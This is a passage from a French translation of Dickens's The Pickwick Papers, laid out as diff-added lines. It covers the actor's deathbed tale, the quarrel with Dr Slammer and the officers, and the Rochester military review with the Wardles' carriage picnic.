+partir? Il allait perdre son salaire. Il fallait qu'il partît! Non; on
+le retenait! Il cachait son visage dans ses mains brûlantes, et il
+gémissait sur sa faiblesse et sur la cruauté de ses persécuteurs. Une
+courte pause, et il braillait quelques rimes burlesques, les dernières
+qu'il eut apprises: tout d'un coup il se leva dans son lit, étendit ses
+membres de squelette et se posa d'une manière grotesque. Il était sur la
+scène, il jouait son rôle. Encore un silence, et il murmura le refrain
+d'une autre chanson. Enfin, il avait regagné son café chantant! Comme la
+salle était chaude! Il avait été malade, très-malade; mais maintenant il
+allait bien, il était heureux! Remplissez mon verre! Qui est-ce qui le
+brise entre mes lèvres? C'était le même persécuteur qui l'avait
+poursuivi. Il retomba sur son oreiller et poussa de sourds gémissements.
+Après un court intervalle d'oubli, il se retrouva errant dans un
+labyrinthe inextricable de chambres obscures, dont les voûtes étaient si
+basses qu'il lui fallait quelquefois se traîner sur ses mains et sur ses
+genoux pour pouvoir avancer. Tout était rétréci et menaçant; et de
+quelque coté qu'il se tournât, un nouvel obstacle s'opposait à son
+passage. Des reptiles immondes rampaient autour de lui; leurs yeux
+luisants dardaient des flammes au milieu des ténèbres visibles qui
+l'entouraient; les murailles, les voûtes, l'air même, étaient
+empoisonnés d'insectes dégoûtants. Tout à coup les voûtes s'agrandirent
+et devinrent d'une étendue effrayante; des spectres effroyables
+voltigeaient de toutes parts, et parmi eux il voyait apparaître des
+visages qu'il connaissait, et que rendaient difformes des grimaces, des
+contorsions hideuses. Ces fantômes s'emparèrent de lui; ils brûlèrent
+ses chairs avec des fers rouges; ils serrèrent des cordes autour de ses
+tempes, jusqu'à en faire jaillir le sang; et il se débattit violemment
+pour échapper à la mort qui le saisissait.
+
+A la fin d'un de ces paroxysmes, pendant lequel j'avais eu beaucoup de
+peine à le retenir dans son lit, il se laissa retomber épuisé, et céda
+bientôt à une sorte d'assoupissement. Accablé de veilles et de fatigues,
+j'avais fermé les yeux depuis quelques minutes, lorsque je sentis une
+main me saisir violemment par l'épaule: je me réveillai aussitôt. Il
+s'était soulevé et s'était assis dans son lit. Son visage était changé
+d'une manière effrayante; cependant le délire avait cessé, car il était
+évident qu'il me reconnaissait. L'enfant qui avait été si longtemps
+troublé par les cris de son père, accourut vers lui en criant avec
+terreur, mais sa mère le saisit promptement dans ses bras, craignant que
+John ne le blessât dans la violence de ses transports, puis, en
+remarquant l'altération de ses traits, elle resta effrayée et immobile
+au pied du lit. Lui, cependant, serrait convulsivement mon épaule, et
+frappant de son autre main sa poitrine, il faisait d'horribles efforts
+pour articuler: c'était en vain. Il étendit les bras vers sa femme et
+vers son enfant; ses lèvres blanches s'agitèrent, mais elles ne purent
+produire d'autre son qu'un râlement sourd, un gémissement étouffé: ses
+yeux brillèrent un instant; et il retomba en arrière, mort!
+
+
+
+Nous éprouverions la satisfaction la plus vive si nous pouvions
+transmettre au lecteur l'opinion de M. Pickwick sur l'anecdote que nous
+venons de rapporter, et nous sommes presque certain que cela nous aurait
+été possible, sans une circonstance malheureuse.
+
+M. Pickwick venait de replacer sur la table le verre qu'il avait tenu
+dans sa main pendant les dernières phrases de ce récit; il s'était
+décidé à parler, et même, si nous en croyons le mémorandum de M.
+Snodgrass, il avait ouvert la bouche; quand le garçon entra dans la
+chambre, et dit: «Monsieur, il y a là plusieurs gentleman.»
+
+Lorsque M. Pickwick fut ainsi interrompu, il était sans doute sur le
+point de proférer quelque sentence qui aurait illuminé le monde, sinon
+la Tamise[8], car il examina le garçon d'un air sévère, puis il regarda
+successivement toute la compagnie, comme pour demander quels pouvaient
+être ces interrupteurs.
+
+[Footnote 8: Allusion au proverbe: _Il ne mettra pas le feu à la
+Tamise_, qui équivaut au français: _Il n'a pas inventé la poudre_.]
+
+«Oh! fit M. Winkle, en se levant, ce sont quelques-uns de mes amis.
+Faites-les entrer; et quand le garçon se fut retiré, il ajouta: des gens
+fort agréables, des officiers du 97e, dont j'ai fait tantôt la
+connaissance d'une manière assez étrange; ils vous plairont beaucoup.»
+
+La sérénité de M. Pickwick fut sur-le-champ restaurée; le garçon revint,
+introduisant dans la chambre trois gentlemen, et M. Winkle prit la
+parole: «Lieutenant Tappleton, dit-il; M. Pickwick. Docteur Payne, M.
+Pickwick... vous connaissez déjà M. Snodgrass... mon ami, M. Tupman.
+Docteur Slammer, M. Pickwick.... M. Tup....»
+
+Ici M. Winkle s'arrêta soudainement en remarquant l'émotion profonde qui
+se manifestait sur la contenance de M. Tupman et du docteur.
+
+«J'ai déjà rencontré ce gentleman dit le docteur avec énergie.
+
+--Ha! ha! fit M. Winkle.
+
+--Et cet individu aussi, si je ne me trompe, reprit le docteur Slammer,
+en attachant un regard scrutateur sur l'étranger à l'habit vert. Je
+pense que j'ai fait à cet individu, la nuit dernière, une invitation
+très-pressante, qu'il a jugé à propos de refuser.» En disant ces mots le
+docteur lança sur l'étranger un regard plein d'indignation, et commença
+à parler à voix basse et avec chaleur à son ami le lieutenant Tappleton.
+
+Quand il eut fini, celui-ci s'écria: «Bah! vraiment?»
+
+--Oui, répondit le docteur Slammer.
+
+--Il faut l'assommer sur la place! dit avec le plus grand sérieux le
+propriétaire du pliant.
+
+--Je vous en prie, Payne, tenez-vous tranquille,» interrompit le
+lieutenant. Puis s'adressant à M. Pickwick, qui était singulièrement
+intrigué de ces _a parte_ impolis, il continua en ces termes:
+«Voulez-vous me permettre, monsieur, de vous demander si cette personne
+appartient à votre société?
+
+--Non, monsieur, répondit M. Pickwick. C'est seulement un de nos hôtes.
+
+--C'est, je pense, un membre de votre club?
+
+--Non, certainement.
+
+--Et il ne porte jamais l'uniforme du club?
+
+--Non, jamais,» répliqua M. Pickwick avec étonnement.
+
+Le lieutenant Tappleton se retourna vers son ami, le docteur Slammer,
+avec un léger mouvement d'épaules, qui semblait impliquer quelque doute
+de l'exactitude de ses souvenirs.
+
+Le docteur paraissait enragé, mais confondu, et M. Payne considérait
+avec une expression féroce la contenance bienveillante de M. Pickwick.
+
+«Monsieur, vous étiez au bal la nuit dernière,» dit tout d'un coup le
+docteur à M. Tupman, d'un ton qui le fit tressaillir aussi visiblement
+que si une épingle avait été insérée méchamment dans son mollet. Il
+répondit un faible «Oui;» mais sans cesser de regarder M. Pickwick.
+
+«Cette personne était avec vous,» continua le docteur en montrant
+l'immuable étranger.
+
+M. Tupman admit le fait.
+
+«Maintenant, monsieur, dit le docteur à l'étranger, je vous demande
+encore une fois, en présence de ces gentlemen, si vous voulez me donner
+votre carte et vous voir traité en gentleman, ou si vous voulez
+m'imposer la nécessité de vous châtier personnellement sur la place.
+
+--Arrêtez, monsieur, interrompit M. Pickwick. Je ne puis réellement pas
+laisser aller plus loin cette affaire sans quelques explications.
+Tupman, racontez-en les circonstances.»
+
+M. Tupman, ainsi adjuré solennellement, raconta le fait en peu de
+paroles, passa légèrement sur l'emprunt de l'habit, s'étendit longuement
+sur ce que cela avait été fait après dîner, exprima un peu de repentir
+pour son compte, et laissa l'étranger se tirer d'affaire comme il
+pourrait.
+
+Celui-ci se disposait à parler, quand le lieutenant Tappleton, qui
+l'avait examiné avec une grande curiosité, lui dit d'un ton dédaigneux:
+
+«Ne vous ai-je pas vu au théâtre, monsieur?
+
+--Certainement, répliqua l'étranger sans se laisser intimider.
+
+--C'est un comédien ambulant, reprit le lieutenant avec mépris; et en
+se tournant vers le docteur Slammer, il ajouta: Il joue dans la pièce
+que les officiels du 52e ont montée pour demain sur le théâtre de
+Rochester. Vous ne pouvez pas pousser cela plus loin, Slammer,
+impossible.
+
+--Tout à fait impossible! répéta le hautain docteur Payne.
+
+--Je suis fâché de vous avoir placé dans cette désagréable situation,
+dit le lieutenant Tappleton à M. Pickwick. Mais permettez-moi d'ajouter
+que le meilleur moyen d'éviter de semblables scènes, à l'avenir, serait
+d'apporter plus de soin dans le choix de vos compagnons. Votre
+serviteur, monsieur. Et en disant ces mots le lieutenant s'élança hors
+de la chambre.
+
+--Et permettez-moi de dire, monsieur, ajouta l'irascible docteur Payne,
+que si j'avais été à la place de Tappleton, ou à celle de Slammer, je
+vous aurais tiré le nez, monsieur, et à tous les individus présents.
+Oui, monsieur, à tous les individus présents. Payne est mon nom,
+monsieur, le docteur Payne, du 43e. Bonsoir, monsieur.» Ayant terminé ce
+discours, dont les derniers mots furent prononcés d'une voix élevée, il
+marcha majestueusement sur les traces de son ami, et fut suivi
+immédiatement par le docteur Slammer, qui ne dit rien, mais qui soulagea
+sa bile en écrasant la compagnie d'un regard méprisant.
+
+Pendant ces longues provocations, un abasourdissement extrême, une rage
+toujours croissante, avaient enflé le noble sein de M. Pickwick jusqu'au
+point de faire crever son gilet. Il était resté pétrifié, regardant
+encore la place que le docteur Payne avait occupée, quand le bruit de la
+porte qui se fermait le rappela à lui-même. Il se précipita, la fureur
+peinte sur le visage et lançant des flammes de ses yeux. Sa main était
+sur la serrure. Un instant plus tard elle aurait été à la gorge du
+docteur Payne, du 43e si M. Snodgrass ne s'était empressé de saisir son
+vénérable mentor par le pan de son habit et de le tirer en arrière.
+
+«Winkle, Tupman, s'écria-t-il en même temps, avec l'accent du désespoir,
+retenez-le! Il ne doit pas risquer sa précieuse vie dans une cause comme
+celle-ci.
+
+--Laissez-moi! dit M. Pickwick.
+
+--Tenez ferme, cria M. Snodgrass, et par les efforts réunis de toute la
+compagnie M. Pickwick fut assis dans un fauteuil.
+
+--Laissez-le, dit l'étranger à l'habit vert. Un verre de grog. Quel
+vieux gaillard, plein de courage! Avalez ça. Hein! fameuse boisson!»
+
+En parlant ainsi et après avoir préalablement goûté la rasade fumante,
+l'étranger appliqua le verre à la bouche de M. Pickwick, et le reste de
+ce qu'il contenait disparut, en peu de temps, dans le gosier du divin
+philosophe. Il y eu une courte pause: le grog faisait son effet, et la
+contenance aimable de M. Pickwick reprit rapidement son expression
+accoutumée, tandis que l'étranger lui disait: «Ils sont indignes de
+votre attention....
+
+--Vous avez raison, monsieur, répliqua M. Pickwick. Ils n'en sont pas
+dignes. Je suis honteux de m'être laissé entraîner à la chaleur de mes
+sentiments. Approchez votre chaise, monsieur.»
+
+Le comédien ne se fit pas prier. On se réunit en cercle autour de la
+table, et l'harmonie régna de nouveau. M. Winkle lui seul paraissait
+conserver encore quelques restes d'irritabilité. Cette disposition
+était-elle occasionnée par la soustraction temporaire de son habit? Une
+circonstance aussi futile pouvait-elle allumer un sentiment de colère,
+même passager dans un coeur pickwickien? Nous l'ignorons, mais à cette
+exception près, la bonne humeur était complétement rétablie, et la
+soirée se termina avec toute la jovialité qui en avait signalé le
+commencement.
+
+
+
+
+
+CHAPITRE IV.
+
+La petite guerre.--De nouveaux amis.--Une invitation pour la campagne.
+
+
+Beaucoup d'auteurs éprouvent une répugnance ridicule et même indélicate
+à révéler les sources où ils ont puisé leur sujet. Nous ne pensons point
+de la même manière, et toujours nos efforts tendront simplement à nous
+acquitter d'une façon honorable des devoirs que nous impose notre rôle
+d'éditeur. Malgré la juste ambition qui, dans d'autres circonstances,
+aurait pu nous porter à réclamer la gloire d'avoir composé cet ouvrage,
+nos égards pour la vérité nous empêchent de prétendre à d'autre mérite
+qu'à celui d'un arrangement judicieux et d'une impartiale narration. Les
+papiers du Pickwick-Club sont comme un immense réservoir de faits
+importants. Ce que nous avons à faire, c'est de les distribuer
+soigneusement à l'univers, qui a soif de connaître les pickwickiens.
+
+Agissant d'après ces principes, et toujours déterminé a avouer nos
+obligations pour les autorités que nous avons consultées, nous déclarons
+franchement que c'est au mémorandum de M. Snodgrass que nous devons les
+particularités contenues dans ce chapitre et dans le suivant,
+particularités que nous allons rapporter sans autre commentaire,
+maintenant que nous avons soulagé notre conscience.
+
+Le lendemain, tous les habitants de Rochester et des lieux environnants
+sortirent de leur lit de très-bonne heure, dans un état d'excitation et
+d'empressement inaccoutumés, car il s'agissait pour eux de voir les
+grandes manoeuvres. Une demi-douzaine de régiments devaient être
+inspectés par le regard d'aigle du commandant en chef; des
+fortifications temporaires avaient été élevées; la citadelle allait être
+attaquée et emportée d'assaut; enfin on devait faire jouer une mine.
+
+Comme nos lecteurs ont pu le conclure, d'après les notes de M. Pickwick
+sur la ville de Chatham, il était admirateur enthousiaste de l'armée.
+Rien ne pouvait donc être plus délicieux pour lui et pour ses compagnons
+que la vue d'une petite guerre; aussi furent-ils bientôt debout. Ils se
+dirigèrent à grands pas vers les fortifications, où se rendaient déjà de
+tous côtés une foule de curieux.
+
+Tout annonçait que la cérémonie devait être d'une importance et d'une
+grandeur peu communes. On avait posé des sentinelles pour maintenir
+libre le terrain nécessaire aux manoeuvres; on avait placé des
+domestiques dans les batteries afin de retenir des places pour les
+dames. Des sergents couraient de toutes parts, portant sous leurs bras
+des registres reliés en parchemin. Le colonel Bulder, en grand uniforme,
+galopait d'un côté; puis, d'un autre, faisait reculer son cheval sur les
+curieux; lui faisait faire des voltes, des courbettes, et criait avec
+tant de violence, que son visage en était tout rouge, sa voix tout
+enrouée, sans que personne pût comprendre quelle nécessité il y avait à
+cela. Des officiers s'élançaient en avant, en arrière; parlaient au
+colonel Bulder, donnaient des ordres aux sergents, puis repartaient au
+galop et disparaissaient. Enfin, les soldats eux-mêmes, sous leurs cols
+de cuir, avaient un air de solennité mystérieuse qui indiquait
+suffisamment la nature spéciale de la réunion.
+
+M. Pickwick et ses trois compagnons sa placèrent sur le premier rang
+des curieux, et attendirent patiemment la commencement des manoeuvres. La
+foule augmentait constamment, et les efforts qu'ils étaient obligés de
+faire pour conserver leur position, occupèrent suffisamment les deux
+heures qui s'écoulèrent dans l'attente. Quelquefois il se faisait par
+derrière une poussée soudaine, et alors M. Pickwick était lancé en avant
+avec une vitesse et une élasticité peu conformes à la gravité ordinaire
+de son maintien. D'autres fois les soldats engageaient les spectateurs à
+reculer, et laissaient tomber les crosses de leurs fusils sur les pieds
+de M. Pickwick, pour lui rappeler leur consigne, ou lui bourraient
+ladite crosse dans la poitrine pour l'engager à s'y conformer. Dans un
+autre instant, quelques gentlemen facétieux se pressant autour de M.
+Snodgrass, le réduisaient à sa plus simple expression, et après lui
+avoir fait endurer les tortures les plus aiguës, lui demandaient
+pourquoi il avait le toupet de pousser les gens de cette façon-là. A
+peine M. Winkle avait-il achevé d'exprimer l'indignation excessive que
+lui causait cette insulte non provoquée, et épuisé son courroux, qu'un
+individu placé par derrière lui enfonçait son chapeau sur les yeux, en
+le priant d'avoir la complaisance de mettre sa tête dans sa poche. Ces
+mystifications, jointes à l'inquiétude que leur causait la disparition
+inexplicable et subite de M. Tupman, rendaient, au total, leur situation
+plus incommode que délicieuse.
+
+A la fin on entendit courir parmi la foule ce bruyant murmure qui
+annonce l'arrivée de ce qu'elle a attendu pendant longtemps. Tous les
+yeux se tournèrent vers le fort, et l'on vit bataillons après bataillons
+se répandre dans la plaine, les drapeaux flottant gracieusement dans les
+airs, et les armes étincelant au soleil. Les troupes firent halte et
+prirent position. Les cris inarticulés du commandement coururent sur
+toute la ligne; les armes furent présentées avec un cliquetis général;
+le commandant en chef, le colonel Bulder et un nombreux état-major
+passèrent au petit galop en tête des troupes. Tout d'un coup la musique
+de tous les régiments fit explosion; les chevaux se dressèrent sur deux
+pieds, et reculèrent en fouettant leurs queues dans toutes les
+directions; les chiens aboyèrent; la multitude cria; les troupes
+reçurent le commandement de fixe; et autant que les yeux pouvaient
+s'étendre on ne vit plus rien à droite et à gauche qu'une longue
+perspective d'habits rouges et de pantalons blancs, immobiles, et comme
+pétrifiés.
+
+M. Pickwick avait été si absorbé par le soin de se reculer et de se
+dégager d'entre les pieds des chevaux, qu'il n'avait pas eu le temps de
+jouir de la scène qui se déroulait devant lui. Lorsqu'il lui fut enfin
+possible de se tenir d'aplomb sur ses jambes, les troupes avaient pris
+l'apparence inanimée que nous venons de décrire, et son admiration, ses
+jouissances furent inexprimables.
+
+«Y a-t-il rien de plus beau, rien de plus délicieux? dit-il à M. Winkle.
+
+--Rien, assurément, répliqua ce dernier, qui pendant plus d'un quart
+d'heure avait porté un petit homme sur chacun de ses pieds.
+
+--Oui! s'écria M. Snodgrass, dans le sein duquel s'allumait rapidement
+une flamme poétique, oui! c'est un noble et magnifique spectacle de voir
+ainsi les vaillants défenseurs de la patrie se déployer en files
+brillantes devant ses paisibles citoyens. Leur visage est empreint, non
+d'une férocité guerrière, mais d'un esprit de civilisation; leurs yeux
+n'étincellent pas du feu sauvage de la rapine et de la vengeance, mais
+de la douce lumière de l'intelligence et de l'humanité!»
+
+M. Pickwick s'unissait entièrement à ces éloges, quant à l'esprit qui
+les dictait, mais il ne pouvait pas en approuver aussi complétement les
+termes. En effet, _la douce lumière de l'intelligence_ brillait assez
+faiblement, attendu que le commandement de «yeux, front!» avait été
+donné, et que les spectateurs n'apercevaient pas autre chose que
+plusieurs milliers de prunelles, regardant directement devant elles, et
+entièrement dénuées de toute expression quelconque.
+
+Cependant la foule s'était écoulée peu à peu, et nos voyageurs se
+trouvaient presque seuls dans cet endroit.
+
+«Nous sommes maintenant dans une excellente position, dit M. Pickwick,
+en regardant autour de lui.
+
+--Excellente: repartirent à la fois MM. Winkle et Snodgrass.
+
+--Que font-ils maintenant? reprit M. Pickwick, en ajustant ses lunettes.
+
+--Il me.... Il me semble..., balbutia M. Winkle en changeant de couleur,
+il me semble qu'ils vont faire feu!
+
+--Allons donc! s'écria M. Pickwick avec précipitation.
+
+--Je crois.... je crois qu'il a raison, observa M. Snodgrass avec
+quelque alarme.
+
+--Impossible! répéta M. Pickwick.» Mais à peine avait-il prononcé ces
+mots, que les six régiments, agissant comme un seul homme, et comme
+s'ils n'avaient eu qu'un seul point de mire, couchèrent en joue les
+malheureux pickwickiens, et firent la plus effroyable décharge qui ait
+jamais ébranlé le centre de la terre ou le courage d'un gentleman un peu
+mûr.
+
+Dans cette situation critique, exposé à un feu continuel de cartouches
+blanches, harrassé par les opérations des troupes, auxquelles un nouveau
+renfort venait d'arriver, se développant derrière M. Pickwick, il montra
+cet admirable sang-froid, compagnon nécessaire d'un esprit supérieur.
+Saisissant M. Winkle par le bras, et se plaçant entre lui et M.
+Snodgrass, il les engagea instamment a remarquer qu'excepté le danger
+d'être assourdi par le bruit, il n'y avait aucun péril à redouter.
+
+«Mais.... mais..., dit M. Winkle, en pâlissant, supposez que les soldats
+aient quelques cartouches à balles, par erreur? Je viens d'entendre un
+sifflement aigu, juste à mon oreille.
+
+--Ne ferions-nous pas mieux de nous jeter à plat-ventre? demanda M.
+Snodgrass?
+
+--Non, non, tout est fini maintenant, répondit M. Pickwick.» Et en
+disant ces mots, ses lèvres pouvaient trembler, ses joues pouvaient
+blanchir, mais aucune expression de crainte ou d'inquiétude ne s'échappa
+de la bouche de cet homme immortel.
+
+M. Pickwick ne s'était pas trompé; la fusillade était terminée. Il ne
+songeait donc plus qu'à se féliciter de la justesse de son hypothèse,
+quand il aperçut sur toute la ligne un mouvement rapide. Les cris de
+commandement retentirent, et avant que nos voyageurs eussent en le temps
+de former une conjecture relativement à cette nouvelle manoeuvre, les six
+régiments tout entiers firent une charge à la baïonnette au pas de
+course sur le lieu même où M. Pickwick et ses amis étaient stationnés.
+
+Tout homme est mortel, et le courage humain a des bornes. Pendant un
+instant M. Pickwick regarda à travers ses lunettes la masse compacte qui
+s'avançait; puis il lui tourna le dos, et se mit... nous ne dirons pas
+_à fuir_, premièrement, parce que c'est une expression déshonorante;
+secondement, parce que la personne de M. Pickwick n'était nullement
+appropriée à ce genre de retraite. Il se mit à trotter aussi vite que le
+lui permettaient le peu de longueur de ses jambes et la pesanteur de
+son corps; si vite, en effet, qu'il s'aperçut trop tard de tous les
+dangers de sa situation.
+
+Les troupes, dont l'apparition sur ses derrières avait déjà inquiété M.
+Pickwick quelques secondes auparavant, s'étaient déployées en bataille
+pour repousser la feinte attaque des assiégeants fictifs de la
+citadelle; de sorte que les trois amis se trouvèrent enfermés entre deux
+longues murailles de baïonnettes, dont l'une s'avançait rapidement,
+tandis que l'autre attendait avec fermeté le choc épouvantable.
+
+«Hohé! hohé! crièrent les officiers de la colonne mouvante.
+
+--Otez-vous de là! beuglèrent les officiers de la colonne stationnaire.
+
+--Où pouvons-nous aller? s'écrièrent les pickwickiens pleins de trouble.
+
+--Hohé! hohé!» telle fut la seule réponse; puis il y eut un moment
+d'égarement inouï, un bruit lourd de pas cadencés, un choc violent, une
+confusion de rires étouffés, et les troupes se retrouvèrent à cinq cents
+toises de distance, et les semelles des bottes de M. Pickwick furent
+aperçues en l'air.
+
+M. Snodgrass et M. Winkle venaient d'exécuter, avec beaucoup de
+prestesse, une culbute obligée. M. Winkle, assis par terre, étanchait,
+avec un mouchoir de soie jaune, le sang qui s'écoulait de son nez, quand
+ils virent leur vénérable chef courant, à quelque distance, après son
+chapeau, lequel s'éloignait en caracolant avec malice.
+
+Il y a peu d'instants dans l'existence d'un homme où il éprouve plus de
+détresse visible, où il excite moins de commisération que lorsqu'il
+donne la chasse à son propre chapeau. Il faut avoir une grande dose de
+sang-froid, un jugement bien sûr pour le pouvoir rattraper. Si l'on
+court trop vite, on passe par-dessus; si l'on se baisse trop lentement,
+au moment où l'on croit le saisir, il est déjà bien loin. La meilleure
+méthode est de trotter parallèlement à l'objet de votre poursuite,
+d'être prudent et attentif, de bien guetter l'occasion, de gagner les
+devants par degrés, puis de plonger rapidement, de prendre votre chapeau
+par la forme, et de le planter solidement sur votre tête, en souriant
+gracieusement pendant tout ce temps, comme si vous trouviez la
+plaisanterie aussi bonne que tout le monde.
+
+Il faisait un petit vent frais, et le chapeau de M. Pickwick roulait
+comme en se jouant devant lui. Le vent soufflait et M. Pickwick
+s'essoufflait; et le chapeau roulait, et roulait aussi gaiement qu'un
+marsouin en belle humeur dans un courant rapide; il roulerait encore,
+bien au delà de la portée de M. Pickwick, s'il n'eût été arrêté par un
+obstacle providentiel, au moment où notre voyageur allait l'abandonner à
+son malheureux sort.
+
+M. Pickwick, complétement épuisé, allait donc abandonner sa poursuite,
+quand le chapeau s'aplatit contre la roue d'un carrosse qui se trouvait
+rangé en ligne avec une douzaine d'autres véhicules. Le philosophe,
+apercevant son avantage, s'élança vivement, s'empara de son couvre-chef,
+le plaça sur sa tête, et s'arrêta pour reprendre haleine. Il y avait une
+demi-minute environ qu'il était là, lorsqu'il entendit son nom
+chaleureusement prononcé par une voix amie; il leva les yeux et
+découvrit un spectacle qui le remplit à la fois de surprise et de
+plaisir.
+
+Dans une calèche découverte, dont les chevaux avaient été retirés à
+cause de la foule, se tenaient debout les personnes ci-après désignées:
+un vieux gentleman, gros et vigoureux, vêtu d'un habit bleu à boutons
+d'or, d'une culotte de velours et de bottes à revers; deux jeunes
+demoiselles, avec des écharpes et des plumes; un jeune homme,
+apparemment amoureux d'une des jeunes demoiselles; une dame, d'un âge
+douteux, probablement tante desdites demoiselles; et enfin M. Tupman,
+aussi tranquille, aussi à son aise que s'il avait fait partie de la
+famille depuis son enfance. Derrière la voiture était attachée une
+bourriche d'une vaste dimension, une de ces bourriches qui, par
+association d'idées, éveillent toujours, dans un esprit contemplatif,
+des pensées de volailles froides, de langues fourrées et de bouteilles
+de bon vin. Enfin, sur le siége de la calèche, dans un état heureux de
+somnolence, était assis un jeune garçon, gros, rougeaud et joufflu,
+qu'un observateur spéculatif ne pouvait regarder pendant quelques
+secondes sans conclure qu'il devait être le dispensateur officiel des
+trésors de la bourriche, lorsque le temps convenable pour leur
+consommation serait arrivé.
+
+M. Pickwick avait à peine jeté un coup d'oeil rapide sur ces intéressants
+objets, quand il fut hélé de nouveau par son fidèle disciple.
+
+«Pickwick! Pickwick! lui disait-il! montez! montez vite!
+
+--Venez, monsieur, venez, je vous en prie, ajouta le vieux gentleman.
+Joe! Que le diable emporte ce garçon! Il est encore à dormir! Joe!
+abaissez le marchepied.»
+
+La gros joufflu se laissa lentement glisser à bas du siége, abaissa le
+marchepied, et, d'une manière engageante, ouvrit la portière du
+carrosse. M. Snodgrass et M. Winkle arrivèrent dans ce moment.
+
+«Il y a de la place pour vous tous, messieurs, reprit le propriétaire de
+la voiture. Deux dedans, un dehors. Joe, faites de la place sur le siége
+pour l'un de ces messieurs. Maintenant, monsieur, montez.» Et le vieux
+gentleman, étendant le bras, hissa de vive force dans la calèche,
+d'abord M. Pickwick, ensuite M. Snodgrass. M. Winkle monta sur le siége;
+le gros joufflu se percha près de lui et se rendormit instantanément.
+
+«Je suis charmé de vous voir, messieurs, poursuivit le gentleman, je
+vous connais très-bien, messieurs, quoique vous ne vous souveniez
+peut-être pas de moi. J'ai passé plusieurs soirées dans votre club,
+l'hiver dernier. Ce matin j'ai rencontré ici mon ami, M. Tupman, et j'ai
+été enchanté de le voir. Hé bien! monsieur, comment ça va-t-il? Tous
+avez l'air tout à fait bien portant, mais là, très-bien portant!»
+
+M. Pickwick, à qui ces dernières paroles étaient adressées, rétorqua le
+compliment, et donna une vigoureuse poignée de mains au vieux gentleman.
+
+«Eh bien! monsieur, comment ça va-t-il? continua celui-ci en regardant
+M. Snodgrass avec une sollicitude paternelle. A merveille, n'est-ce pas?
+Ah! tant mieux, tant mieux! Et comment cela va-t-il, monsieur Winkle?
+Bien? J'en suis charmé. Mes filles, messieurs. Et voilà ma soeur Rachel
+Wardle: c'est une demoiselle, sans que cela paraisse. N'est-ce pas,
+monsieur? N'est-ce pas? ajouta-t-il en riant à gorge déployée, et en
+insérant plaisamment son coude entre les côtes de M. Pickwick.
+
+--Mon Dieu! frère.... dit miss Wardle, avec un sourire suppliant.
+
+--Vrai, vrai, reprit le vieux gentleman, personne ne peut le nier,
+messieurs, je vous présente mon ami, M. Trundle. Et maintenant que vous
+vous connaissez tous, tâchons d'être confortables et heureux, et voyons
+ce qui se passe. Voilà mon opinion.» Ayant ainsi parlé, il mit ses
+lunettes, tandis que M. Pickwick tirait son télescope; et chacun se tint
+debout dans la voiture pour regarder les évolutions des militaires.
+
+C'étaient des manoeuvres étonnantes. Un rang tirait par-dessus la tête
+d'un autre rang et se précipitait aussitôt en arrière, puis un autre
+rang tirait par-dessus la tête d'un autre rang et se précipitait en
+arrière à son tour; ensuite il y avait des formations de carrés, avec
+les officiers dans le centre; des descentes dans la tranchée avec des
+échelles; de l'autre côté des ascensions par le même moyen; pais on
+abattait des barricades de paniers; et tout cela se faisait avec un
+courage sans pareil. Dans les batteries, les artilleurs fourraient de
+gros tampons dans les bouches d'effroyables canons, et il fallait tant
+de préparatifs pour les bourrer, et ils faisaient tant de bruit quand on
+y avait mis le feu, que l'air résonnait au loin des cris plaintifs des
+femmes. Dans le carrosse, les jeunes miss Wardle étaient si effrayées
+que M. Trundle fut absolument obligé de soutenir l'une d'elles, tandis
+que M. Snodgrass supportait la seconde: et les nerfs de miss Rachel
+Wardle étaient dans un état d'alarme si terrible que M. Tupman trouva
+indispensable de passer le bras autour de sa taille pour l'empêcher de
+tomber. Enfin tout le monde éprouvait une exaltation prodigieuse,
+excepté le groom joufflu, qui dormait au tonnerre du canon aussi
+profondément que si ç'avait été la chanson habituelle de sa nourrice.
+
+Lorsque la citadelle fut prise et qu'on servit à dîner au assiégeants et
+aux assiégés, le vieux gentleman s'écria: «Joe! Joe! Damné garçon, il
+est encore à dormir! Soyez assez bon, monsieur, pour lui pincer la
+jambe, s'il vous plaît, c'est le seul moyen de le réveiller. Je vous
+remercie. Joe, défaites la bourriche.»
+
+Le gros joufflu, qui avait été effectivement éveillé par la compression
+d'une partie de son mollet, entre le pouce et l'index de M. Winkle, se
+laissa de nouveau glisser à bas du siége et s'occupa à dépaqueter la
+bourriche, d'une manière plus expéditive qu'on n'aurait pu l'attendre de
+sa précédente inactivité.
+
+«Maintenant il faut nous asseoir serrés,» dit le vieux gentleman. Après
+beaucoup de plaisanteries sur le froissement des manches des dames,
+après beaucoup de rougeur occasionnée par la joyeuse proposition de les
+faire asseoir sur les genoux des messieurs, la société tout entière
+parvint à s'empiler dans la calèche, et le vieux gentleman s'occupa de
+faire circuler les objets que le gros joufflu lui tendait de derrière la
+voiture où il était monté.
+
+«Maintenant, Joe, les couteaux, les fourchettes.» Les couteaux et les
+fourchettes furent passés. Les dames et les messieurs de l'intérieur, et
+M. Winkle sur son siége, furent fournis de ces ustensiles nécessaires.
+
+«Des assiettes, Joe! des assiettes!» Les assiettes furent distribuées
+de la même manière.
+
+«Maintenant, Joe, la volaille. Damné garçon, il est encore à dormir.
+Joe! Joe! Plusieurs coups de canne administrés sur la tête du dormeur le
+tirèrent enfin de sa léthargie. Allons passez-nous les comestibles.»
+
+Il y avait quelque chose, dans le son de ce dernier mot, qui réveilla
+entièrement le gros dormeur. Il tressaillit, et ses yeux plombés, à
+moitié cachés par ses joues bouffies, lorgnèrent amoureusement les
+comestibles à mesure qu'il les déballait.
+
+«Allons, dépêchons,» dit H. Wardle, car le gros joufflu dévorait du
+regard un chapon, dont il paraissait ne pas pouvoir se séparer. Il
+soupira profondément, jeta un coup d'oeil désespéré sur la volaille
+dodue, et la remit tristement à son maître.
+
+«Bon! Un peu de vivacité! Maintenant la langue. Maintenant le pâté de
+pigeons! Prenez garde au veau et au jambon. Attention aux écrevisses.
+Otez la salade de la serviette. Passez-moi l'assaisonnement.» Tout en
+donnant ces ordres précipités, M. Wardle distribuait dans l'intérieur de
+la voiture les articles qu'il nommait, et plaçait des plats sans nombre
+dans les mains et sur les genoux de chacun.
+
+Lorsque l'oeuvre de destruction fut commencée, le joyeux hôte demanda à
+ses convives: «Eh bien! n'est-ce pas délicieux?
+
+--Délicieux! répondit M. Winkle, qui découpait une volaille sur le
+siége.
+
+--Un verre de vin?
+
+--Avec le plus grand plaisir.
+
+--Ne feriez-vous pas mieux d'avoir une bouteille pour vous, là-haut?
+
+--Tous êtes bien bon.
+
+--Joe!
+
+--Oui, monsieur. (Il n'était point endormi, cette fois, étant parvenu à
+soustraire un petit pâté de veau.)
+
